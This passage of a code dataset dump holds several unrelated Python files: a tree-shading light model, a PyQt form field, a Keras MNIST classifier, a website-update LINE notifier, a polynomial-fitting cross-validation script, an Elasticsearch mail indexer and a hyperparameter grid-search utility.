np.abs(Y[i]-o)-(HE[i]/np.tan(SolElvNBGW(h_day[h],day)))) < 0:\n\t\t\t\t\t\t\t\t#Determines if the width of the shade overlaps with n,o and if so normalises it in binary form\n\t\t\t\t\t\t\t\tKMatrixCrown[i] = (([X[i], Y[i]]+np.dot(RM(-np.radians(SolAziNBGW(float(h_day[h]),day)-210)),[-CW[i]/200,HE[i]])/np.tan(SolElvNBGW(h_day[h],day)))-[n, o])/(([X[i], Y[i]]+np.dot(RM(-np.radians(SolAziNBGW(float(h_day[h]),day)-210)),[CW[i]/200,HE[i]])/np.tan(SolElvNBGW(h_day[h],day)))-[n, o])\n\t\t\t\t\t\t\t\t#print(KMatrixCrown[i])\n\t\t\t\t\t\t\t\tfor j in xrange(2):\n\t\t\t\t\t\t\t\t\tif KMatrixCrown[i, j] <= 0: #Try >=0?????????\n\t\t\t\t\t\t\t\t\t\tKMatrixCrown[i, j] = 0 #Shaded\n\t\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\t\tKMatrixCrown[i, j] = 1 #NOT Shaded\n\t\t\t\t\t\t\t\t#Determines if the height of the shade overlaps with n,o\n\t\t\t\t\t\t\t\tKMatrixHeight[i] = (([X[i], Y[i]]+np.dot(RM(-np.radians(SolAziNBGW(float(h_day[h]),day)-210)),[0,HE[i]])/np.tan(SolElvNBGW(h_day[h],day)))-[n, o])/(([X[i], Y[i]]+np.dot(RM(-np.radians(SolAziNBGW(float(h_day[h]),day)-210)),[0,HE[i]-(CH[i]/100)])/np.tan(SolElvNBGW(h_day[h],day)))-[n, o])\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tfor j in xrange(2):\n\t\t\t\t\t\t\t\t\tif KMatrixHeight[i, j] <= 0:\n\t\t\t\t\t\t\t\t\t\tKMatrixHeight[i, j] = 0 #Shaded\n\t\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\t\tKMatrixHeight[i, j] = 1 #NOT Shaded\n\t\t\t\t\t\t\t\t#Sum the Height and Crown criterias and them sums the x and y directions\n\t\t\t\t\t\t\t\tKMatrix[i] = KMatrixHeight[i]+KMatrixCrown[i]\n\t\t\t\t\t\t\t\tKMatrixTot[i] = KMatrix[i,0]+KMatrix[i,1] #0: Fully Shaded, 1: 1 directional shaded, 2: NOT Shaded\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\ttreeskip+=1\n\t\t\t\t\t\t\t\tKMatrixTot[i] = 2\n\t\t\t\t\t\t#After all trees have been tested with the GSCF at position n,o we need to combine the x and y directions togeteher\n\t\t\t\t\t\tfor i in xrange(iter):\n\t\t\t\t\t\t\tif KMatrixTot[i] == 0:\n\t\t\t\t\t\t\t\tKMatrixTot[i] = 0 #Shaded\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\tKMatrixTot[i] = 1 #NOT Shaded\n\t\t\t\t\t\t#print(KMatrixTot.sum())\n\t\t\t\t\t\t#As long as 1 tree had a light value of 0 then we say position n,o was beening shaded from the sun at that specific time.\n\t\t\t\t\t\t\n\t\t\t\t\t\tif (iter - KMatrixTot.sum()) <= 0: #############This probably should be 'iter - 2 - KMatrixTot.sum()' rather than '-5' from comparison with Wolfram code\n\t\t\t\t\t\t\tKMatrixTotTot[o/spacings,n/spacings] = BeamNBGW(h_day[h],day)\n\t\t\t\t\t\t\t#print(\"NotShade\")\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t#print(\"Shade\")\n\t\t\t\t\t\t\tKMatrixTotTot[o/spacings,n/spacings] = 0\n\t\t\t\t\t\t\n\t\t\t\t\t\t#Sum up for each time step h and day.\n\t\t\t\t\t\tGillyTop[o/spacings,n/spacings] += KMatrixTotTot[o/spacings,n/spacings]\n\t\t\t\t\t\tGillyBottom[o/spacings,n/spacings] += ClearNBGW(h_day[h],day)\n\t\t\t\t\t\t\n\t############################################################################\n\t#Finally normalise the GLE values with respects to full sunlight\n\t\n\tfor o in np.arange(nmin,nmax,spacings):\n\t\tfor n in np.arange(omin,omax,spacings):\n\t\t\tGillyLight[o/spacings,n/spacings] = GillyTop[o/spacings,n/spacings]/GillyBottom[o/spacings,n/spacings]\n\t\t\t\n\t############################################################################\n\t\n\treturn GillyLight, daymax, hspa, nmin, nmax, omin, omax, spacings, ts[-1], tstart\n\t\n############################################################################\n############################################################################\n#Solve the GLE with a given input parameters\n\nGillyLight, Days, TemporalSpacing, nmin, nmax, omin, omax, SpatialSpacing, tfinal, tstart = GLE(473, 105, 263, 10, 0, 30, 0, 15, 0.5)\nprint(\"\\n\", GillyLight)\n\n#Save the data of 'GillyLight' to csv file.\n\nwith open(\"../rawdata/GLEGridClear_11.csv\", \"wb\") as output:\n\twriter = csv.writer(output, lineterminator='\\n')\n\twriter.writerows(GillyLight)\n\n#Print out post run information.\n\nos.system('cls' if os.name=='nt' else 'clear')\t\nprint(\"Gilly Light Equation Output Information\\n\")\nprint(\"---------------------------------------------------\")\nprint(\"Gilly Light Equation has been solved successfully\")\nprint(\"Some final information about this run:\")\nprint(\"Days: \", Days)\nprint(\"Temporal Spacing: \", TemporalSpacing, \"s\")\nprint(\"Spatial Spacing: \", SpatialSpacing, \"m\")\nprint(\"No. of Grids: \", len(GillyLight))\nprint(\"---------------------------------------------------\")\nprint(\"Time taken to solve GLE: \", \"%.0f\" % (tfinal-tstart), \"s\")\n","sub_path":"analysis/GLE_Grid.py","file_name":"GLE_Grid.py","file_ext":"py","file_size_in_byte":11424,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"13164030","text":"from PyQt5.QtWidgets import QLineEdit\n\nfrom .base import BaseField\n\n\nclass StringField(BaseField):\n def __init__(self, name, value=None, title=None):\n super().__init__(name, title)\n self.widget = QLineEdit()\n if value is not None:\n self.widget.setText(str(value))\n\n @property\n def value(self):\n value = self.widget.text()\n return value\n","sub_path":"ojoqt/dialog/form/field/string.py","file_name":"string.py","file_ext":"py","file_size_in_byte":391,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"334215727","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Sep 14 21:59:54 2019\n\n@author: Brian Chan\n\"\"\"\n\nfrom keras.datasets import mnist\nfrom keras.models import Sequential \nfrom keras.layers.core import Dense, Activation\nfrom keras.utils import np_utils\n\n(X_train, Y_train), (X_test, Y_test) = mnist.load_data()\n\nX_train = X_train.reshape(60000, 784) \nX_test = X_test.reshape(10000, 784)\nX_train = X_train.astype('float32') \nX_test = X_test.astype('float32') \nX_train /= 255 \nX_test /= 255\n\n\nclasses = 10\nY_train = np_utils.to_categorical(Y_train, classes) \nY_test = np_utils.to_categorical(Y_test, classes)\n\ninput_size = 784\nbatch_size = 100 \nhidden_neurons = 400 \nepochs = 30\n\nmodel = Sequential() \nmodel.add(Dense(hidden_neurons, input_dim=input_size)) \nmodel.add(Activation('relu')) \nmodel.add(Dense(classes, input_dim=hidden_neurons)) \nmodel.add(Activation('softmax'))\n\nmodel.compile(loss='categorical_crossentropy', metrics=['accuracy'], optimizer='adadelta')\n\nmodel.summary()\n\nhistory = model.fit(X_train, Y_train, validation_split = 0.5, batch_size=batch_size, epochs=epochs, verbose=1)\n\nscore = model.evaluate(X_test, Y_test, verbose=1)\nprint('Test accuracy:', score[1]) \n\nfrom matplotlib import pyplot as plt\n#history = model\n#history = model.fit(X_train, Y_train, batch_size=batch_size, epochs=epochs, verbose=1)\nplt.plot(history.history['accuracy'])\nplt.plot(history.history['val_accuracy'])\nplt.title('model accuracy')\nplt.ylabel('accuracy')\nplt.xlabel('epoch')\nplt.legend(['train', 'val'], loc='upper left')\nplt.show()","sub_path":"Lesson_9/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1555,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"277936349","text":"# -*- coding: utf-8 -*-\nfrom NotifyToLine import SendMessage # mod.pyのMemberクラスの呼び込み\nfrom MonitorWebPages import MonitorBishHP\n\n# インスタンス化\nmonitor = MonitorBishHP()\nnotify = SendMessage()\n\nwith open(\"./TopNews.txt\", 'r') as file:\n top_news = file.read()\n\nif monitor.is_changed_for_top_news() == True:\n notify.send_line(\n \"\\n\" +\n \"\\n\" + \"BiSH official siteに更新はありません\"+\n \"\\n\" +\n \"\\n\" + \"---------------------------------------\" +\n \"\\n\" + \"***最新情報***\"\n \"\\n\" + top_news +\n \"\\n\" + monitor.url,\n \"./pictures/no_update.jpg\")\nelse:\n notify.send_line(\n \"\\n\" +\n \"\\n\" + \"BiSH official siteに更新がありました\" +\n \"\\n\" +\n \"\\n\" + \"---------------------------------------\" +\n \"\\n\" + \"***最新情報***\"\n \"\\n\" + top_news +\n \"\\n\" + monitor.url,\n \"./pictures/updated.jpg\")\n\n# 更新されたトップニュースを保存\nmonitor.save_top_news()\n","sub_path":"sclipt.py","file_name":"sclipt.py","file_ext":"py","file_size_in_byte":1016,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"550068810","text":"import sys\r\nprint(sys.version)\r\nimport pandas as pd\r\n#import math\r\nimport numpy as np\r\nimport polynomial\r\n#import matplotlib.pyplot as plt\r\n\r\ndef p(x, k, i):\r\n total = 1\r\n for j in range(k + 1):\r\n if j != i:\r\n total *= x[i] - x[j]\r\n return total\r\n\r\ndef p1(x_v, x, k):\r\n total = 1\r\n for i in range(k):\r\n total *= x - x_v[i]\r\n return total\r\n\r\ndef f(x, y, k):\r\n total = 0\r\n for i in range(k + 1):\r\n total += y[i] / p(x, k, i)\r\n return total\r\n\r\nclass PolinomModel:\r\n def __init__(self, n):\r\n self.inner_model = None\r\n self.n = n\r\n\r\n def __str__(self):\r\n if not self.inner_model:\r\n return \"Model is empty\"\r\n c = self.inner_model.coefficients\r\n s = str(c[0])\r\n for i in range(1, len(c)):\r\n last = \" - \" + s[1:] if s.startswith(\"-\") else \" + \" + s\r\n s = str(c[i]) + \"*x^\" + str(i) + last\r\n return s\r\n\r\n def fit(self, x, y):\r\n self.inner_model = polynomial.polynomial(x, y, self.n)\r\n\r\n def predict(self, x):\r\n return [self.inner_model.getval(i) for i in x]\r\n # result = []\r\n # for item in x:\r\n # total = 0\r\n # for i in range(self.n + 1):\r\n # total += self.c[i]*p1(self.x, item, i)\r\n # result.append(total)\r\n # return result\r\n\r\ndef compare(predict, real):\r\n diff = (predict - real)\r\n diff = diff*diff\r\n diff = np.sqrt(diff.sum()/len(diff))\r\n return diff\r\n\r\ndef cross_validation(index, k = 2, shuffle = True, seed = 1):\r\n rand = np.random.RandomState(seed)\r\n ind = rand.choice(index, size = len(index),replace = False) if shuffle else index\r\n for i in range(0,k):\r\n training = [x for j,x in enumerate(ind) if j % k != i]\r\n validation = [x for j,x in enumerate(ind) if j % k == i]\r\n yield training, validation\r\n\r\ndef cv_model(model, dataset, value, response, cv_folds):\r\n results_learn = []\r\n results_valid = []\r\n for i in range(cv_folds):\r\n for train_index, valid_index in cross_validation(dataset.index, seed = i):\r\n #print(train_index, valid_index)\r\n try:\r\n train_set = dataset.ix[train_index]\r\n valid_set = dataset.ix[valid_index]\r\n model.fit(np.array(train_set.drop(response, axis=1)[value]),\r\n np.array(train_set[response]))\r\n predict_learn = model.predict(np.array(train_set[value]))\r\n predict_valid = model.predict(np.array(valid_set[value]))\r\n results_learn.append(compare(predict_learn, np.array(train_set[response])))\r\n results_valid.append(compare(predict_valid, np.array(valid_set[response])))\r\n except np.linalg.LinAlgError:\r\n pass\r\n #print(\"Warn LinAlgError\")\r\n #print(results)\r\n return (np.mean(results_learn), np.std(results_learn), np.mean(results_valid), np.std(results_valid))\r\n\r\ndef tune_polinom(dataset, value, response, cv_folds, max_n):\r\n results = []\r\n for i in range(max_n + 1):\r\n print(\"CV on \" + str(i) + \" degree model\")\r\n results.append(cv_model(PolinomModel(i), dataset, value, response, cv_folds))\r\n return pd.DataFrame(results, index=range(max_n + 1), columns=[\"mean_learn\", \"std_learn\", \"mean_valid\", \"std_valid\"])\r\n\r\ndataset_learn_name = \"learn.txt\"\r\ndataset_test_name = \"test.txt\"\r\ncv_folds = 20\r\nmax_n = 20\r\n\r\nprint(\"Training model. dataset:\" + dataset_learn_name + \", folds: \" + str(cv_folds) + \", max n: \" + str(max_n))\r\ndataset_learn = pd.read_csv(dataset_learn_name, header=None, sep=\"\\t\")\r\ncolumns = dataset_learn.columns\r\ntune_results = tune_polinom(dataset_learn, columns[0], columns[1], cv_folds, max_n)\r\n#print(tune_results)\r\n#print(tune_results[\"mean_valid\"].idxmin())\r\n\r\nbest_result_n = tune_results[\"mean_valid\"].idxmin()\r\nbest_model = PolinomModel(best_result_n)\r\nbest_model.fit(np.array(dataset_learn[columns[0]]), np.array(dataset_learn[columns[1]]))\r\nprint(\"Best model: \" + str(best_result_n) + \" degree. \" + str(best_model) + \"\\n\")\r\nprint(\"Errors: \")\r\nprint(tune_results.ix[best_result_n])\r\n\r\ndataset_test = pd.read_csv(dataset_test_name, header=None, sep=\"\\t\")\r\ncolumns = dataset_test.columns\r\npredict = best_model.predict(np.array(dataset_test[columns[0]]))\r\nerror_on_test = compare(predict, np.array(dataset_test[columns[1]]))\r\nprint(\"\\nError on test: \" + str(error_on_test))\r\n\r\n#PolinomModel(i)\r\n#print(dataset.shape[0])","sub_path":"2/PolinomInterpolation.py","file_name":"PolinomInterpolation.py","file_ext":"py","file_size_in_byte":4483,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"423720223","text":"import json\nimport re\nimport sys\nfrom elasticsearch import Elasticsearch\n\nes = Elasticsearch([{'host': 'localhost', 'port': 9200}])\n\n#sys.argv[1]: mails_paths\n\ndef string_cleaner(sentence):\n return re.sub(r\"[=.:><'•§œ;/)(!?@\\\\\\'\\`\\\"\\_\\n]\", r\"\", sentence)\n\ndef balise_cleaner(sentence):\n regexp_balise = r\"<(c|t|b|\\|a)*[^>]+>\"\n return re.sub(regexp_balise, r\" \", sentence)\n\n# Get all the mails path\ndef get_mails(mails_paths):\n with open(mails_paths, 'r') as paths_list:\n mails_list = [line.strip() for line in paths_list.readlines()]\n print('NOMBRE DE MAILS: {}'.format(len(mails_list)))\n paths_list.close()\n return mails_list\n\n# Build the body of the bilk query\ndef body_builder(mails_list):\n body_meta = []\n body_core = []\n for id_mail, path_mail in enumerate(mails_list):\n body_meta.append(json.JSONEncoder().encode({'index': {'_index': 'hydro_mail', '_type': 'mail', '_id': id_mail}}))\n with open(path_mail, 'r') as mail:\n body_core.append(json.JSONEncoder().encode({'id_mail': path_mail.split('/')[-1], 'content' : balise_cleaner(mail.read())})) \n ## Rajouter un paramètre 'date' provenant des metadonnées et polarimo venant de l'étude de positivité !!!\n mail.close()\n return (body_meta, body_core)\n\n\n# SAVE THE DATA AS A JSON FILE\nwith open('mails.json', 'w') as json_file:\n mails = body_builder(get_mails(sys.argv[1]))\n meta = mails[0]\n core = mails[1]\n for doc in range(len(meta)):\n json_file.write(meta[doc])\n json_file.write('\\n')\n json_file.write(core[doc])\n json_file.write('\\n')\n json_file.close()\n\n\n'''\n# INDEX\nres = es.bulk(index=\"hydro_mail\", doc_type='mail', body= body_builder(get_mails(sys.argv[1])))\nprint('RES: \\n{}'.format(res))\n'''\n","sub_path":"PREPROCESSING/DATA_MANAGER/Elasticsearch/Risk_detection/mail_indexing.py","file_name":"mail_indexing.py","file_ext":"py","file_size_in_byte":1804,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"366455399","text":"import numpy as np\nimport os, sys\nimport os.path as osp\nimport string\nfrom textwrap import dedent\nfrom numpy.lib.arraysetops import isin\nfrom tqdm import trange\nimport time\nimport psutil\nimport json\nimport subprocess\nfrom subprocess import CalledProcessError\nimport cloudpickle\nimport base64\nimport zlib\nfrom .utils import colorize, setup_logger_kwargs\nfrom .json_utils import convert_json\nfrom .config import DEFAULT_SHORTHAND, WAIT_BEFORE_LAUNCH\nfrom .mpi_utils import mpi_fork\n\nDIV_LINE_WIDTH = 80\n\n\ndef call_experiment(exp_name, thunk, seed=0, num_cpu=1, data_dir=None, datestamp=False, **kwargs):\n \"\"\"\n 使用超参数和configuration运行函数\n \"\"\"\n num_cpu = psutil.cpu_count(logical=False) if num_cpu == \"auto\" else num_cpu\n kwargs[\"seed\"] = seed\n print(colorize(\"Running experiment:\\n\", color=\"cyan\", bold=True))\n print(exp_name + \"\\n\")\n print(colorize(\"with kwargs:\\n\", color=\"cyan\", bold=True))\n kwargs_json = convert_json(kwargs)\n print(json.dumps(kwargs_json, separators=(\",\", \":\\t\"), indent=4, sort_keys=True))\n print(\"\\n\")\n\n if \"logger_kwargs\" not in kwargs:\n kwargs[\"logger_kwargs\"] = setup_logger_kwargs(exp_name, seed, data_dir, datestamp)\n else:\n print(\"Note: Call experiment is not handling logger_kwargs.\\n\")\n\n def thunk_plus():\n if \"env_name\" in kwargs:\n import gym\n env_name = kwargs[\"env_name\"]\n kwargs[\"env_fn\"] = lambda: gym.make(env_name)\n del kwargs[\"env_name\"]\n # Fork into multiple processes\n mpi_fork(num_cpu)\n thunk(**kwargs)\n\n # thunk_plus()\n pickled_thunk = cloudpickle.dumps(thunk_plus)\n encoded_thunk = base64.b64encode(zlib.compress(pickled_thunk)).decode(\"utf-8\")\n # 获取上一层目录下的 run_entrypoint.py 文件\n entrypoint = osp.join(osp.abspath(osp.dirname(osp.dirname(__file__))), \"run_entrypoint.py\")\n cmd = [sys.executable if sys.executable else 'python', entrypoint, encoded_thunk]\n try:\n subprocess.check_call(cmd, env=os.environ)\n except CalledProcessError:\n err_msg = \"\\n\" * 3 + \"=\" * DIV_LINE_WIDTH + \"\\n\" + dedent(\"\"\"\n There appears to have been an error in your experiment.\n\n Check the traceback above to see what actually went wrong. The \n traceback below, included for completeness (but probably not useful\n for diagnosing the error), shows the stack leading up to the \n experiment launch.\n\n \"\"\") + \"=\" * DIV_LINE_WIDTH + \"\\n\" * 3\n print(err_msg)\n raise\n\n logger_kwargs = kwargs[\"logger_kwargs\"]\n plot_cmd = \"python plot.py \" + logger_kwargs[\"output_dir\"]\n plot_cmd = colorize(plot_cmd, \"green\")\n test_cmd = \"python test_policy.py \" + logger_kwargs[\"output_dir\"]\n test_cmd = colorize(test_cmd, \"green\")\n output_msg = \"\\n\" * 5 + \"=\" * DIV_LINE_WIDTH + \"\\n\" + dedent(\"\"\"\\\n End of experiment.\n\n\n Plot results from this run with:\n\n %s\n\n\n Watch the trained agent with:\n\n %s\n\n\n \"\"\" % (plot_cmd, test_cmd)) + \"=\" * DIV_LINE_WIDTH + \"\\n\" * 5\n print(output_msg)\n\n\ndef all_bools(vals):\n return all([isinstance(v, bool) for v in vals])\n\n\ndef valid_str(v):\n \"\"\"\n 将一个或多个值转换为可以放入文件路径的字符串\n \"\"\"\n if hasattr(v, \"__name__\"):\n return valid_str(v.__name__)\n if isinstance(v, tuple) or isinstance(v, list):\n return \"-\".join([valid_str(x) for x in v])\n str_v = str(v).lower()\n valid_chars = \"-_%s%s\" % (string.ascii_letters, string.digits)\n str_v = \"\".join(c if c in valid_chars else \"-\" for c in str_v)\n return str_v\n\n\nclass ExperimentGrid:\n \"\"\"\n 使用grid search 对超参数调优\n \"\"\"\n def __init__(self, name=''):\n self.keys = []\n self.vals = []\n self.shs = []\n self.in_names = []\n self.name(name)\n\n def name(self, _name):\n assert isinstance(_name, str), \"Name has to be a string.\"\n self._name = _name\n\n def print(self):\n \"\"\"\n 输出相关调参信息\n \"\"\"\n print(\"=\" * DIV_LINE_WIDTH)\n # 如果实验名字短,打印一行,如果太长打印两行\n base_msg = \"ExperimentGrid %s runs over parameters: \\n\"\n name_insert = \"[\" + self._name + \"]\"\n if len(base_msg % name_insert) <= 80:\n msg = base_msg % name_insert\n else:\n msg = base_msg % (name_insert + \"\\n\")\n print(colorize(msg, color=\"green\", bold=True))\n\n # list off parameters, shorthands, and possible values.\n for k, v, sh in zip(self.keys, self.vals, self.shs):\n color_k = colorize(k.ljust(40), color=\"cyan\", bold=True)\n print(\"\", color_k, \"[\" + sh + \"]\" if sh is not None else \"\", \"\\n\")\n for i, val in enumerate(v):\n print(\"\\t\" + str(convert_json(val)))\n print()\n\n # 计算变量数量\n nvars_total = int(np.prod([len(v) for v in self.vals]))\n if \"seed\" in self.keys:\n num_seeds = len(self.vals[self.keys.index(\"seed\")])\n nvars_seedless = int(nvars_total / num_seeds)\n else:\n nvars_seedless = nvars_total\n print(\" Variants, counting seeds: \".ljust(40), nvars_total)\n print(\" Variants, not counting seeds: \".ljust(40), nvars_seedless)\n print()\n print(\"=\" * DIV_LINE_WIDTH)\n\n def _default_shorthand(self, key):\n \"\"\"\n 对key做一个shorthand, 用冒号分隔后的每一部分的前三个字母表示, \n 如果前三个字符包含非数字字母, 就直接截掉\n \"\"\"\n valid_chars = \"%s%s\" % (string.ascii_letters, string.digits)\n\n def shear(x):\n return \"\".join(z for z in x[:3] if z in valid_chars)\n\n sh = \"-\".join([shear(x) for x in key.split(\":\")])\n return sh\n\n def add(self, key, vals, shorthand=None, in_name=False):\n \"\"\"\n Add a parameter (key) to the grid config, with potential values (vals).\n Args:\n key (string): Name of parameter.\n\n vals (value or list of values): Allowed values of parameter.\n\n shorthand (string): Optional, shortened name of parameter. For \n example, maybe the parameter ``steps_per_epoch`` is shortened\n to ``steps``. \n\n in_name (bool): When constructing variant names, force the\n inclusion of this parameter into the name.\n \"\"\"\n assert isinstance(key, str), \"Key must be a string.\"\n assert shorthand is None or isinstance(shorthand, str), \"Shorthand must be a string.\"\n if not isinstance(vals, list):\n vals = [vals]\n if DEFAULT_SHORTHAND and shorthand is None:\n shorthand = self._default_shorthand(key)\n self.keys.append(key)\n self.vals.append(vals)\n self.shs.append(shorthand)\n self.in_names.append(in_name)\n\n def variant_name(self, variant):\n \"\"\"\n 给定一个variant变量(有效参数/值组成的字典),创建exp_name\n 用variant构造grid_name, 形式为[variant]_[para_name/shorthand]_[values]\n \"\"\"\n def get_val(v, k):\n \"\"\"\n 从给定变量字典中获得正确值的实用方法.\n 假设参数k描述到嵌套字典的路径,例如k='a:b:c'对应于value=变量['a']['b']['c'].\n \"\"\"\n if k in v:\n return v[k]\n else:\n splits = k.split(\":\")\n k0, k1 = splits[0], \":\".join(splits[1:])\n return get_val(v[k0], k1)\n\n var_name = self._name\n for k, v, sh, inn in zip(self.keys, self.vals, self.shs, self.in_names):\n if (len(v) > 1 or inn) and not (k == \"seed\"):\n # 使用shorthand, 如果不行就用全名\n param_name = sh if sh is not None else k\n param_name = valid_str(param_name)\n # 对参数k,获取其变量值\n variant_val = get_val(variant, k)\n if all_bools(v):\n var_name += (\"_\" + param_name) if variant_val else \"\"\n else:\n var_name += \"_\" + param_name + valid_str(variant_val)\n\n return var_name.lstrip(\"_\")\n\n def _variants(self, keys, vals):\n \"\"\"\n 递归地构建有效变量列表\n \"\"\"\n if len(keys) == 1:\n pre_variants = [dict()]\n else:\n pre_variants = self._variants(keys[1:], vals[1:])\n variants = []\n for val in vals[0]:\n for pre_v in pre_variants:\n v = {}\n v[keys[0]] = val\n v.update(pre_v)\n variants.append(v)\n return variants\n\n def variants(self):\n \"\"\"\n 构造一个字典列表, 每个字典是grid里一个有效的config.\n 对于名称为 ``'full:param:name'``形式的变量参数有特殊的处理.\n 冒号表示参数有内嵌字典结构, 例如\n ==================== ===\n Key Val\n ==================== ===\n ``'base:param:a'`` 1\n ``'base:param:b'`` 2\n ==================== ===\n 表明变量字典的结构为\n variant = {\n base: {\n param : {\n a : 1,\n b : 2\n }\n } \n }\n\n \"\"\"\n flat_variants = self._variants(self.keys, self.vals)\n\n def unflatten_var(var):\n \"\"\"\n 基于key的name, 构建完整结构的字典\n \"\"\"\n new_var = dict()\n unflatten_set = set()\n for k, v in var.items():\n if \":\" in k:\n splits = k.split(\":\")\n k0 = splits[0]\n assert k0 not in new_var or isinstance(new_var[k0], dict), \\\n \"同一个key不能设置多个值.\"\n if not (k0 in new_var):\n new_var[k0] = dict()\n sub_k = \":\".join(splits[1:])\n new_var[k0][sub_k] = v\n unflatten_set.add(k0)\n else:\n assert not (k in new_var), \"同一个key不能设置多个值.\"\n new_var[k] = v\n for k in unflatten_set:\n new_var[k] = unflatten_var(new_var[k])\n return new_var\n\n new_variants = [unflatten_var(var) for var in flat_variants]\n return new_variants\n\n def run(self, thunk, num_cpu=1, data_dir=None, datestamp=False):\n \"\"\"\n 使用'thunk'函数运行grid中每一个变量.\n 'thunk' 必须是可调用函数或者字符串, 如果是string, 必须是参数的名字, 其值都是可调用函数.\n 使用``call_experiment`` 运行实验, 并使用``self.variant_name()``给定实验名字.\n\n 注意:ExperimentGrid.run与call_experiment的参数相同,`seed`除外\n \"\"\"\n self.print()\n # list 所有变量\n variants = self.variants()\n #输出变量名\n var_names = set([self.variant_name(var) for var in variants])\n var_names = sorted(list(var_names))\n line = \"=\" * DIV_LINE_WIDTH\n preparing = colorize(\"Preparing to run the following experiment...\", color=\"green\", bold=True)\n joined_var_names = '\\n'.join(var_names)\n announcement = f\"\\n{preparing}\\n\\n{joined_var_names}\\n\\n{line}\"\n print(announcement)\n\n if WAIT_BEFORE_LAUNCH > 0:\n delay_msg = colorize(dedent(\"\"\"\n Launch delayed to give you a few seconds to review your experiments.\n\n To customize or disable this behavior, change WAIT_BEFORE_LAUNCH in\n spinup/config.py.d\n\n \"\"\"),\n color=\"cyan\",\n bold=True) + line\n print(delay_msg)\n wait, steps = WAIT_BEFORE_LAUNCH, 100\n prog_bar = trange(steps,\n desc=\"launching in...\",\n leave=False,\n ncols=DIV_LINE_WIDTH,\n mininterval=0.25,\n bar_format=\"{desc}: {bar}| {remaining} {elapsed}\")\n for _ in prog_bar:\n time.sleep(wait / steps)\n for var in variants:\n exp_name = self.variant_name(var)\n if isinstance(thunk, str):\n thunk_ = var[thunk]\n del var[thunk]\n else:\n thunk_ = thunk\n\n call_experiment(exp_name=exp_name,\n thunk=thunk_,\n num_cpu=num_cpu,\n data_dir=data_dir,\n datestamp=datestamp,\n **var)\n\n\ndef test_eg():\n eg = ExperimentGrid()\n eg.add(\"test:a\", [1, 2, 3], \"ta\", True)\n eg.add(\"test:b\", [1, 2, 3])\n eg.add(\"some\", [4, 5])\n eg.add(\"why\", [True, False])\n eg.add(\"huh\", 5)\n eg.add(\"no\", 6, in_name=True)\n return eg.variants()\n\n\nif __name__ == \"__main__\":\n a = test_eg()\n print(a)\n b = [{\n 'clip_ratio': 0.1,\n 'seed': 0,\n 'env_name': 'Ant-v2',\n 'ac_kwargs': {\n 'hidden_sizes': [32, 32],\n 'activation': \"\"\n }\n }, {\n 'clip_ratio': 0.1,\n 'seed': 0,\n 'env_name': 'Ant-v2',\n 'ac_kwargs': {\n 'hidden_sizes': [64, 32],\n 'activation': \"\"\n }\n }, {\n 'clip_ratio': 0.1,\n 'seed': 10,\n 'env_name': 'Ant-v2',\n 'ac_kwargs': {\n 'hidden_sizes': [32, 32],\n 'activation': \"\"\n }\n }, {\n 'clip_ratio': 0.1,\n 'seed': 10,\n 'env_name': 'Ant-v2',\n 'ac_kwargs': {\n 'hidden_sizes': [64, 32],\n 'activation': \"\"\n }\n }, {\n 'clip_ratio': 0.1,\n 'seed': 20,\n 'env_name': 'Ant-v2',\n 'ac_kwargs': {\n 'hidden_sizes': [32, 32],\n 'activation': \"\"\n }\n }, {\n 'clip_ratio': 0.1,\n 'seed': 20,\n 'env_name': 'Ant-v2',\n 'ac_kwargs': {\n 'hidden_sizes': [64, 32],\n 'activation': \"\"\n }\n }, {\n 'clip_ratio': 0.2,\n 'seed': 0,\n 'env_name': 'Ant-v2',\n 'ac_kwargs': {\n 'hidden_sizes': [32, 32],\n 'activation': \"\"\n }\n }, {\n 'clip_ratio': 0.2,\n 'seed': 0,\n 'env_name': 'Ant-v2',\n 'ac_kwargs': {\n 'hidden_sizes': [64, 32],\n 'activation': \"\"\n }\n }, {\n 'clip_ratio': 0.2,\n 'seed': 10,\n 'env_name': 'Ant-v2',\n 'ac_kwargs': {\n 'hidden_sizes': [32, 32],\n 'activation': \"\"\n }\n }, {\n 'clip_ratio': 0.2,\n 'seed': 10,\n 'env_name': 'Ant-v2',\n 'ac_kwargs': {\n 'hidden_sizes': [64, 32],\n 'activation': \"\"\n }\n }, {\n 'clip_ratio': 0.2,\n 'seed': 20,\n 'env_name': 'Ant-v2',\n 'ac_kwargs': {\n 'hidden_sizes': [32, 32],\n 'activation': \"\"\n }\n }, {\n 'clip_ratio': 0.2,\n 'seed': 20,\n 'env_name': 'Ant-v2',\n 'ac_kwargs': {\n 'hidden_sizes': [64, 32],\n 'activation': \"\"\n }\n }]\n print(len(b))\n","sub_path":"ddpg/tools/experiment_grid.py","file_name":"experiment_grid.py","file_ext":"py","file_size_in_byte":15483,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
